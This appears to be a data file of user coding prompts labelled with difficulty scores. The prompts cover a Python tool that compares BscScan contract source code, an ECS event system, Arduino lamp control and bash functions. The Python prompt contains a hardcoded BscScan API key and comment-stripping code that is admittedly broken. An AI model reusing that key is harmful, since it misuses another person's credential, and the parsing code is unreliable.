{ "intermediate": 0.4567784368991852, "beginner": 0.2150302678346634, "expert": 0.32819122076034546 }
11,848
import re import requests import difflib API_KEY = "CXTB4IUT31N836G93ZI3YQBEWBQEGGH5QS" BASE_URL = "https://api.bscscan.com/api" similarity_threshold = 0.5 def get_contract_source_code(address): params = { "module": "contract", "action": "getsourcecode", "address": address, "apiKey": API_KEY } response = requests.get(BASE_URL, params=params) data = response.json() if data["status"] == "1": source_code = data["result"][0]["SourceCode"] return remove_comments(source_code) else: return None def remove_comments(code): lines = code.split('\n') lines_without_comments = [] is_multiline_comment = False for line in lines: single_line_comment = re.sub(r"//.", "", line) match = re.findall(r" /* | */ ", single_line_comment) if not match: if not is_multiline_comment: lines_without_comments.append(single_line_comment) elif match: if is_multiline_comment and "/" in match: is_multiline_comment = False pos = single_line_comment.index(" / ") + 2 single_line_comment = single_line_comment[pos:] lines_without_comments.append(single_line_comment) elif not is_multiline_comment and "/" in match: is_multiline_comment = True single_line_comment = single_line_comment[: single_line_comment.index(" / * ")] lines_without_comments.append(single_line_comment) cleaned_code = "\n".join(lines_without_comments) return cleaned_code def jaccard_similarity(str1, str2): a = set(str1.split()) b = set(str2.split()) c = a.intersection(b) return float(len(c)) / (len(a) + len(b) - len(c)) def find_similar_contracts(reference_addresses, candidate_addresses): reference_source_codes = {} for reference_address in reference_addresses: source_code = get_contract_source_code(reference_address) if source_code is not None: reference_source_codes[reference_address] = source_code if not reference_source_codes: print("No source code found for reference contracts") return [] similar_contracts = {} for address in candidate_addresses: candidate_source_code = get_contract_source_code(address) if candidate_source_code is not None: for reference_address, reference_source_code in reference_source_codes.items(): similarity = jaccard_similarity(candidate_source_code, reference_source_code) if similarity >= similarity_threshold: if reference_address not in similar_contracts: similar_contracts[reference_address] = [(address, similarity)] else: similar_contracts[reference_address].append((address, similarity)) return similar_contracts def print_code_difference(reference_code, candidate_code): reference_lines = reference_code.splitlines() candidate_lines = candidate_code.splitlines() diff = difflib.unified_diff(reference_lines, candidate_lines) for line in diff: print(line) if __name__ == "__main__": reference_addresses = ["0x445645eC7c2E66A28e50fbCF11AAa666290Cd5bb"] candidate_addresses = ["0xd481997fbe2D7C7f9E651e5f2450AcbC38Eed750"] similar_contracts = find_similar_contracts(reference_addresses, candidate_addresses) print("Contracts with similar source code (ignoring comments):") for reference_address, similar_addresses in similar_contracts.items(): reference_code = get_contract_source_code(reference_address) print(f"Reference contract: {reference_address}") for address, similarity in similar_addresses: candidate_code = get_contract_source_code(address) print(f"Similar contract: {address} with a similarity of {similarity:.2f}") if similarity < 1.0: print("Code differences:") print_code_difference(reference_code, candidate_code) print("\n") The code above does not remove all comments that are in the source code of the contract. Comments in code begin with the following characters // this is a single line comment and the characters after it should not be taken into account when comparing /* */ is a multi-line comment. All characters between them do not need to be taken into account when comparing /** */ is also a multi-line comment. All characters between them do not need to be taken into account when comparing Inside a multiline comment, comments start with the * character. All characters after * also do not need to be taken into account when comparing
cef9281f8279ffe9fe95345a46b4e4af
{ "intermediate": 0.404323548078537, "beginner": 0.4484516680240631, "expert": 0.14722484350204468 }
11,849
How would you create an eventsystem that flexibly uses an eventbus and eventqueue for an ecs depending on types of events etc?
bd70b5a01c79522f165cd03631d5604c
{ "intermediate": 0.3757174015045166, "beginner": 0.13817451894283295, "expert": 0.48610803484916687 }
11,850
code in C language a code where i can control the ceiling lamp at my place via my mobile app.. ill introduce the code to a microcontroller ( arduino or raspberry , you tell me which one to use ) and then ill connect the microcontroller to the lamp and i want to control it later via my mobile app
8e70b6fec8878d612fa55105ef4569ea
{ "intermediate": 0.37786439061164856, "beginner": 0.29415932297706604, "expert": 0.327976256608963 }
11,851
execute_training() { echo Model: model=$1 echo Batch_size: batch_size=$2 echo Done training $model } how to use this in another bash script line
f233b73fdc2dbf3f8952f8d048ef97df
{ "intermediate": 0.30675315856933594, "beginner": 0.421785831451416, "expert": 0.2714610993862152 }